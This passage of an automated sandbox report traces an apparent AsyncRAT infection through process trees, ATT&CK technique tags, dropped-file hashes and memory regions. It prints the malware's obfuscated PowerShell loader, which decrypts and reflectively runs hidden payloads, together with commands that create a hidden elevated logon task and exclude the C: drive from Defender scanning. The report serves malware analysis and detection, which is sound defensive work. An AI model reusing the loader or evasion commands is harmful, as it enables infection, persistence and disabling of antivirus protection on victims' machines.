$aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZTKslE6OdsXNtdeXo76Lj86BwdjokmZoErSJ0CEwRis='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ftBNGOmShOOXC7u6Pue69A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$ZjNXA=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$hkZyt=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YeAxa=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($ZjNXA, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $YeAxa.CopyTo($hkZyt); $YeAxa.Dispose(); $ZjNXA.Dispose(); $hkZyt.Dispose(); $hkZyt.ToArray();}function execute_function($param_var,$param2_var){ IEX '$hMSFrZstRXKXXSE=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA=$hMSFrZstRXKXXSE.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$zQ = 'C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $zQ;$UwrDhZatxq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($zQ).Split([Environment]::NewLine);foreach ($EN in $UwrDhZatxq) { if ($EN.StartsWith(':: ')) { $Z=$EN.Substring(3); break; }}$payloads_var=[string[]]$Z.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3212
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'svchoststr892_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\inicia_str_892.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2288
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\inicia_str_892.vbs"
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3168
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\inicia_str_892.bat" "
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:432
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZTKslE6OdsXNtdeXo76Lj86BwdjokmZoErSJ0CEwRis='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ftBNGOmShOOXC7u6Pue69A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$ZjNXA=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$hkZyt=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YeAxa=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($ZjNXA, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $YeAxa.CopyTo($hkZyt); $YeAxa.Dispose(); $ZjNXA.Dispose(); $hkZyt.Dispose(); $hkZyt.ToArray();}function execute_function($param_var,$param2_var){ IEX '$hMSFrZstRXKXXSE=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA=$hMSFrZstRXKXXSE.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$zQ = 'C:\Users\Admin\AppData\Roaming\inicia_str_892.bat';$host.UI.RawUI.WindowTitle = $zQ;$UwrDhZatxq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($zQ).Split([Environment]::NewLine);foreach ($EN in $UwrDhZatxq) { if ($EN.StartsWith(':: ')) { $Z=$EN.Substring(3); break; }}$payloads_var=[string[]]$Z.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2480

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4728

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3392

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
1daab11d32344fd7c7326d787c44d4c2

SHA1
c16e54cfb42def10d5acbe952af7df24a06db158

SHA256
351ce09ad334ef178982db64a4ce60b4a1efabafe960253dc25ad0987d0701bd

SHA512
4d5e19a4bd27cb1979fef24188b34003f07c7aac883853bb7b77b539412fa98a71dfd7a74138a84fbfddf94dfa8e3db95db4bcf81dbf8c64f8a6b02b6788731e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
f8634c179c1a738e20815ec466527e78

SHA1
5ff99194f001b39289485a6c6fa0ba8b5f50aa42

SHA256
b97b56e7ceecc7fe39522d3989d98bd233353d0269a7f6517e4a8286b4ed1dc4

SHA512
806b40ab4b2cd38140210d1bff3317d51af96008526298aee07e67fa858d5e9646ba594d87a5f22ec5026ee25b93f62d600eb6da92216dfb524b28260fa7388f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
2205dcbfe6c1ae421b7559e3bf5cedc0

SHA1
1c3041f0ff0452bde7cf6c21812b9876cfed1920

SHA256
4d131d7521942f79e432dc5dbf21f51851566ca832e05b99653b26092499d116

SHA512
16edb8129a0435f70c2819b4ab1c945e6be42bf39bfb3f3a43417d9a4158ad9d049abdf968e898ae4f56d4dd3434534646af3ac242b57dd0f36d54fbcc7712b8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
704B

MD5
4cc5f7cca0b0269d13c0e0db23b1e69a

SHA1
559dd16fcb218177d80ce9190d557f664d7ae016

SHA256
45de47886e77ff0899d1bfc36d46e83dab4fe3e0a1fd114e3ce460c483433989

SHA512
de278bf62036ea8930fbced85c8a846c4d965977d0dfb6c121b156a7d8d73949ebb7ab0feb1da36451ba321ba7d9ed482d09e8268f023e1b401a75cbeaba1883

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4d556ed70ee29e534b9327c0e4c10577

SHA1
7a4e1d63f7f2f18cb607ff617092a505b7992b73

SHA256
a8a6af3c6011fa00268e56ff04c337bbb797d55a62f80496bc0a4790e2f9375d

SHA512
bfb020a849518b547da552186909163a01273c0e0bba1ae3f2d663470ef28ddf8b13835333965546c8c83d7e1c75cd516f2e9652df8478527b9b62a261990fb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\7254_output.vbs

Filesize
203KB

MD5
02081ae0dbab5cbb3ba6fb3d316bb850

SHA1
0b422b950e717427ec53709384b214433871f78b

SHA256
f93f8db130adb1cb891c6a8591d1c2f518a4ba3d5aed98d1e7b530030b0297bb

SHA512
7ae8c0859f25c7cecaa0be83d5ac99d20bde7287ef1f49ddd3114d4683c8ec05a2947f0c0d27b62ea5b4b0764d6ae0a104ffa7d6d84a46b1bd0ecb1eac9d718d

Download Submit
C:\Users\Admin\AppData\Local\Temp\AsyncRAT.exe

Filesize
6.4MB

MD5
97a429c4b6a2cb95ece0ddb24c3c2152

SHA1
6fcc26793dd474c0c7113b3360ff29240d9a9020

SHA256
06899071233d61009a64c726a4523aa13d81c2517a0486cc99ac5931837008e5

SHA512
524a63f39e472bd052a258a313ff4f2005041b31f11da4774d3d97f72773f3edb40df316fa9cc2a0f51ea5d8ac404cfdd486bab6718bae60f0d860e98e533f89

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES6D02.tmp

Filesize
1KB

MD5
bd24778aaabff2afc414bdc486aa6f14

SHA1
7871d79aaffe18ad03a495ffa7665f5c0b41e149

SHA256
2eb6bdd101c065ebd2023dd4e5e42e5c1c58072bdb01af29077b440c8f80805a

SHA512
17eafad3731d0e4cdcb89be788b85a6bdc723a7f3c94379394d1d8b6e6feda11a102c4a2b2fd421e61bb2edcc4f76004f79e6ba4e128cf231a57a4930d54b9d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2acz1dfj.k5z.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
74KB

MD5
88e72154cfed4a9932b4a4799aab6df7

SHA1
043136d11ffa2f5aa6c8f6e961686a31a9eb50ef

SHA256
3dc1f5d2c9260a882c6ebe35a4be8b407eced4ab579552b49d3e4d60ea68a373

SHA512
f1479b3cab97a661360e9582a9cf5d49a28f8d92b63710e02345a3dfc19c151d8923990cf4c41936df9baae25a907e0c699133a8a0c4f09858d7a1021abf0bcf

Download Submit
C:\Users\Admin\AppData\Local\Temp\qbgodzqo\qbgodzqo.dll

Filesize
4KB

MD5
11364804deebc3841ee614eeadc41272

SHA1
db04dcdcf9e079bcd908280cdbb0f081d12d40c9

SHA256
72bcd73cf3e564fb9ca8923c862428c5fa8677f841db1866332305b67faa0223

SHA512
884d9aa32413989d64a890c3426fdf02b81f495ec4cf37a868e53e1e849f241872ae76bf7928edc1092557fddf39e28a4e68fb3946c71ab86f299908f7ebaa21

Download Submit
C:\Users\Admin\AppData\Roaming\inicia_str_892.vbs

Filesize
114B

MD5
fbb37bc1716baa930577eeaca991e1eb

SHA1
b7532f62cd7bcae1752976ee2a6b7b61bec2f687

SHA256
a9954cbe8bb17b7ff7d7daebe2425bdef066ca54c0b80045e0d5a6db696f0896

SHA512
264d1f1d3ffcaa9350129911454cad33e32dcc483029d7a3b988b4126eea96fd978fa3316b6ac065ab3638f6fddefb5ff20dc295aeab9acf798ff65561a3b61a

Download Submit
C:\windows\temp\43tgsdvx.inf

Filesize
663B

MD5
27581dbbe3c3840ce72f99c21071898a

SHA1
898afeb9523df9367c74a01c0dbecf6b637f3cb1

SHA256
c5f2bbdebccd52c3eba3c97a251ffa2ccd01f64de764e560f804045fe868d27b

SHA512
0b9c4531e8be5b292638cb2cad7fd1b72ed3f1aa20ea027b9a013a8bfb2daaa4a25a40c37423e0924d110bbbbfad4a6e21aa03f4694978d205d7ac9739567d9f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qbgodzqo\CSC30C4A6D8BB26470C96377BACD4F658DF.TMP

Filesize
652B

MD5
0470185b9bd5f071183739fe3841ee89

SHA1
4f7e8c42645579fa7d405c3d880ce5c9c89b3f6e

SHA256
ef54e75f61575df10346d1a8fd314e1c797e0e1ae9a2a08e7da1c657fc2f6561

SHA512
44afac0acab95c741612328c94df734e65879b11fbee4e6b31c958e63b8e4c1ff09c85ca543a81d203658a9f1e15cc28e66a6a2fa4de524a1a6336aeb86f845c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qbgodzqo\qbgodzqo.0.cs

Filesize
2KB

MD5
b8106096972fb511e0cf8b99386ecf93

SHA1
3003ba3a3681ba16d124d5b2305e6cc59af79b44

SHA256
49d2a0f78cbec3d87396b6f52f791c66505edeec87a70d4ce45721288210da02

SHA512
218bd9cd17c56d2e138205a197780cc2a5a81bfce7d5439eecb168f61955ba97793e7333425c064f6b6337e1f70c75bd373a7fb502a8c538fb046600018f871e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qbgodzqo\qbgodzqo.cmdline

Filesize
369B

MD5
98ed2afdbdbe580ec5da8f4a580dbb25

SHA1
dcd85db6bd29d75e38ad13ab0f13213179f30c07

SHA256
b980a5395bb2ac726f7e9b2c408a438a89199afe6fec7597c46ffbc1400a89c3

SHA512
f29b46e91f8a0389b5d74794640e1d21ddc579c7b20dccee9c36acc7367839c21a6ac4ab121b4dbf1275071ffba36b0ae4020e232ede9bfe706e6500f4b7bda9

Download Submit
memory/64-2-0x00007FF7211F0000-0x00007FF721BC3000-memory.dmp

Filesize
9.8MB

Download
memory/1968-17-0x000002A8F11E0000-0x000002A8F1202000-memory.dmp

Filesize
136KB

Download
memory/1968-35-0x000002A8F1710000-0x000002A8F1718000-memory.dmp

Filesize
32KB

Download
memory/1968-22-0x000002A8F1720000-0x000002A8F173C000-memory.dmp

Filesize
112KB

Download
memory/2112-55-0x00007FFC40463000-0x00007FFC40465000-memory.dmp

Filesize
8KB

Download
memory/2112-11-0x000002616B370000-0x000002616B5C2000-memory.dmp

Filesize
2.3MB

Download
memory/2112-9-0x00000261687D0000-0x0000026168E3A000-memory.dmp

Filesize
6.4MB

Download
memory/2112-7-0x00007FFC40463000-0x00007FFC40465000-memory.dmp

Filesize
8KB

Download
memory/2288-108-0x0000000007830000-0x000000000784E000-memory.dmp

Filesize
120KB

Download
memory/2288-112-0x0000000007BF0000-0x0000000007C01000-memory.dmp

Filesize
68KB

Download
memory/2288-109-0x00000000078A0000-0x0000000007943000-memory.dmp

Filesize
652KB

Download
memory/2288-111-0x0000000007C80000-0x0000000007D16000-memory.dmp

Filesize
600KB

Download
memory/2288-110-0x0000000007A70000-0x0000000007A7A000-memory.dmp

Filesize
40KB

Download
memory/2288-98-0x00000000713C0000-0x000000007140C000-memory.dmp

Filesize
304KB

Download
memory/2288-97-0x0000000007850000-0x0000000007882000-memory.dmp

Filesize
200KB

Download
memory/2480-139-0x0000000008DA0000-0x0000000008DBE000-memory.dmp

Filesize
120KB

Download
memory/2480-134-0x0000000006F40000-0x0000000006F52000-memory.dmp

Filesize
72KB

Download
memory/2480-136-0x0000000007DC0000-0x0000000007E5C000-memory.dmp

Filesize
624KB

Download
memory/2480-137-0x0000000008040000-0x00000000080B6000-memory.dmp

Filesize
472KB

Download
memory/2480-138-0x00000000080C0000-0x000000000815C000-memory.dmp

Filesize
624KB

Download
memory/2480-140-0x0000000008DF0000-0x0000000008E30000-memory.dmp

Filesize
256KB

Download
memory/2480-141-0x0000000008DC0000-0x0000000008DCA000-memory.dmp

Filesize
40KB

Download
memory/3212-84-0x0000000007760000-0x0000000007768000-memory.dmp

Filesize
32KB

Download
memory/3212-67-0x0000000005FB0000-0x0000000006016000-memory.dmp

Filesize
408KB

Download
memory/3212-86-0x00000000085B0000-0x0000000008B56000-memory.dmp

Filesize
5.6MB

Download
memory/3212-66-0x0000000005840000-0x0000000005862000-memory.dmp

Filesize
136KB

Download
memory/3212-65-0x00000000058E0000-0x0000000005FAA000-memory.dmp

Filesize
6.8MB

Download
memory/3212-64-0x0000000003110000-0x0000000003146000-memory.dmp

Filesize
216KB

Download
memory/3212-85-0x0000000007770000-0x000000000777E000-memory.dmp

Filesize
56KB

Download
memory/3212-78-0x0000000006100000-0x0000000006457000-memory.dmp

Filesize
3.3MB

Download
memory/3212-83-0x0000000007700000-0x000000000771A000-memory.dmp

Filesize
104KB

Download
memory/3212-82-0x0000000007F30000-0x00000000085AA000-memory.dmp

Filesize
6.5MB

Download
memory/3212-81-0x00000000065F0000-0x000000000663C000-memory.dmp

Filesize
304KB

Download
memory/3212-80-0x0000000006590000-0x00000000065AE000-memory.dmp

Filesize
120KB

Download
memory/3212-68-0x0000000006090000-0x00000000060F6000-memory.dmp

Filesize
408KB

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